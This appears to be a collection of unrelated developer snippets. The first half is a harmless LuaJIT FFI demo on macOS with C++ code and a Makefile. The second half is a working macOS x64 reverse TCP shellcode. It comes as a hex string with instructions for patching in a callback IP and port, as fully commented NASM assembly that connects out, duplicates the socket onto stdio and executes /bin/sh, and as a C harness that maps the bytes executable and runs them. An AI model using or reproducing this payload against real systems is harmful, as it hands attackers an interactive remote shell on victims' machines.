[hammackj@taco:~/luajit_playground/luajit_static]$ ./static
Hello from Lua
Couldn't load file luatest.lua : luatest.lua:10: dlsym(RTLD_DEFAULT, test_ffi): symbol not found

[hammackj@taco:~/luajit_playground/luajit_static]$ nm -gU static
0000000100000000 T ____mh_execute_header
0000000100001110 T ____main

[hammackj@taco:~/luajit_playground/luajit_static]$ nm -gU static
0000000100000000 T ____mh_execute_header
0000000100001110 T ____main
0000000100001c40 T ____test_ffi

[hammackj@taco:~/luajit_playground/luajit_static]$ ./static
Hello from Lua
Hello from C++

//Main.cpp
#include <iostream>
#include <luajit-2.0/lua.hpp>

int main(int argc, char const *argv[])
{
    lua_State *L = luaL_newstate();
    luaL_openlibs(L);

    const char *path = "luatest.lua";

    if (luaL_loadfile(L, path) || lua_pcall(L, 0, LUA_MULTRET, 0))
    {
        std::cerr << "Couldn't load file " << path << " : " << lua_tostring(L, -1) << std::endl;
    }

    lua_close(L);

    return 0;
}

//static.hpp
#include <iostream>

extern "C"
{
    void test_ffi();
}

//static.cpp
#include "static.hpp"

void test_ffi()
{
    std::cout << "Hello from C++" << std::endl;
}

-- luatest.lua
print "Hello from Lua"

local ffi = require('ffi')

ffi.cdef([[
void test_ffi();
]])
local C = ffi.C

C.test_ffi()

CC=c++
CFLAGS=-g -Wall -I/usr/local/include -L/usr/local/lib -L. -std=c++11 -pagezero_size 10000 -image_base 100000000
LDFLAGS=-lluajit-5.1 -lstatic -Wl,-force_load,libstatic.a

#-Wl,-all_load

FILES=main.cpp
STATIC_FILES=static.cpp

OUTPUT=static

all: static standalone

static: $(STATIC_FILES)
    $(CC) -MMD -MP -g -std=c++11 -c $(STATIC_FILES) -o static.o
    ar -rcs libstatic.a static.o

standalone: $(static) $(FILES)
    $(CC) $(CFLAGS) -o $(OUTPUT) $(FILES) $(LDFLAGS)

clean:
    rm -rf *.dSYM static *.d *.a *.o

#OSX reverse tcp shell (131 bytes)
#replace FFFFFFFF around byte 43 with the call back ip in hex
#replace 5C11 around byte 39 with a new port current is 4444
shellcode =
"\x41\xB0\x02\x49\xC1\xE0\x18\x49\x83\xC8\x61\x4C\x89\xC0\x48" +
"\x31\xD2\x48\x89\xD6\x48\xFF\xC6\x48\x89\xF7\x48\xFF\xC7\x0F" +
"\x05\x49\x89\xC4\x49\xBD\x01\x01\x11\x5C\xFF\xFF\xFF\xFF\x41" +
"\xB1\xFF\x4D\x29\xCD\x41\x55\x49\x89\xE5\x49\xFF\xC0\x4C\x89" +
"\xC0\x4C\x89\xE7\x4C\x89\xEE\x48\x83\xC2\x10\x0F\x05\x49\x83" +
"\xE8\x08\x48\x31\xF6\x4C\x89\xC0\x4C\x89\xE7\x0F\x05\x48\x83" +
"\xFE\x02\x48\xFF\xC6\x76\xEF\x49\x83\xE8\x1F\x4C\x89\xC0\x48" +
"\x31\xD2\x49\xBD\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x49\xC1\xED" +
"\x08\x41\x55\x48\x89\xE7\x48\x31\xF6\x0F\x05"

;osx x64 reverse tcp shellcode (131 bytes)
;Jacob Hammack
;jacob.hammack@hammackj.com
;http://www.hammackj.com
;
;props to http://www.thexploit.com/ for the blog posts on x64 osx asm
;I borrowed some of his code
;
;nasm -f macho reverse_tcp.s -o reverse_tcp.o
;ld -o reverse_tcp -e start reverse_tcp.o

BITS 64

section .text
global start

start:
    mov r8b, 0x02               ; unix class system calls = 2
    shl r8, 24                  ; shift left 24 to the upper order bits
    or r8, 0x61                 ; socket is 0x61
    mov rax, r8                 ; put socket syscall # into rax

;Socket
    xor rdx, rdx                ; zero out rdx
    mov rsi, rdx                ; AF_NET = 1
    inc rsi                     ; rsi = AF_NET
    mov rdi, rsi                ; SOCK_STREAM = 2
    inc rdi                     ; rdi = SOCK_STREAM
    syscall                     ; call socket(SOCK_STREAM, AF_NET, 0);

    mov r12, rax                ; Save the socket

;Sock_addr
    mov r13, 0xFFFFFFFF5C110101 ; IP = FFFFFFFF, Port = 5C11(4444)
    mov r9b, 0xFF               ; The sock_addr_in is + FF from where we need it
    sub r13, r9                 ; So we sub 0xFF from it to get the correct value and avoid a null
    push r13                    ; Push it on the stack
    mov r13, rsp                ; Save the sock_addr_in into r13


;Connect
    inc r8                      ; Connect = 0x62, so we inc by one from the previous syscall
    mov rax, r8                 ; move that into rax
    mov rdi, r12                ; move the saved socket fd into rdi
    mov rsi, r13                ; move the saved sock_addr_in into rsi
    add rdx, 0x10               ; add 0x10 to rdx
    syscall                     ; call connect(rdi, rsi, rdx)

    sub r8, 0x8                 ; subtract 8 from r8 for the next syscall dup2 0x90
    xor rsi, rsi                ; zero out rsi

dup:
    mov rax, r8                 ; move the syscall for dup2 into rax
    mov rdi, r12                ; move the FD for the socket into rdi
    syscall                     ; call dup2(rdi, rsi)

    cmp rsi, 0x2                ; check to see if we are still under 2
    inc rsi                     ; inc rsi
    jbe dup                     ; jmp if less than 2

    sub r8, 0x1F                ; setup the exec syscall at 0x3b
    mov rax, r8                 ; move the syscall into rax

;exec
    xor rdx, rdx                ; zero out rdx
    mov r13, 0x68732f6e69622fFF ; '/bin/sh' in hex
    shr r13, 8                  ; shift right to create the null terminator
    push r13                    ; push to the stack
    mov rdi, rsp                ; move the command from the stack to rdi
    xor rsi, rsi                ; zero out rsi
    syscall                     ; call exec(rdi, 0, 0)

//Jacob Hammack
//Shellcode executor template from: http://www.thexploit.com/sploitdev/testing-your-shellcode-on-a-non-executable-stack-or-heap/

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] = "Put your modified shellcode here";

int main(int argc, char **argv)
{
  void *ptr = mmap(0,
    strlen(shellcode),
    PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE,
    -1,
    0);

  if (ptr == MAP_FAILED)
  {
    perror("mmap");
    exit(-1);
  }

  memcpy(ptr, shellcode, sizeof(shellcode));
  sc = ptr;

  sc();

  return 0;
}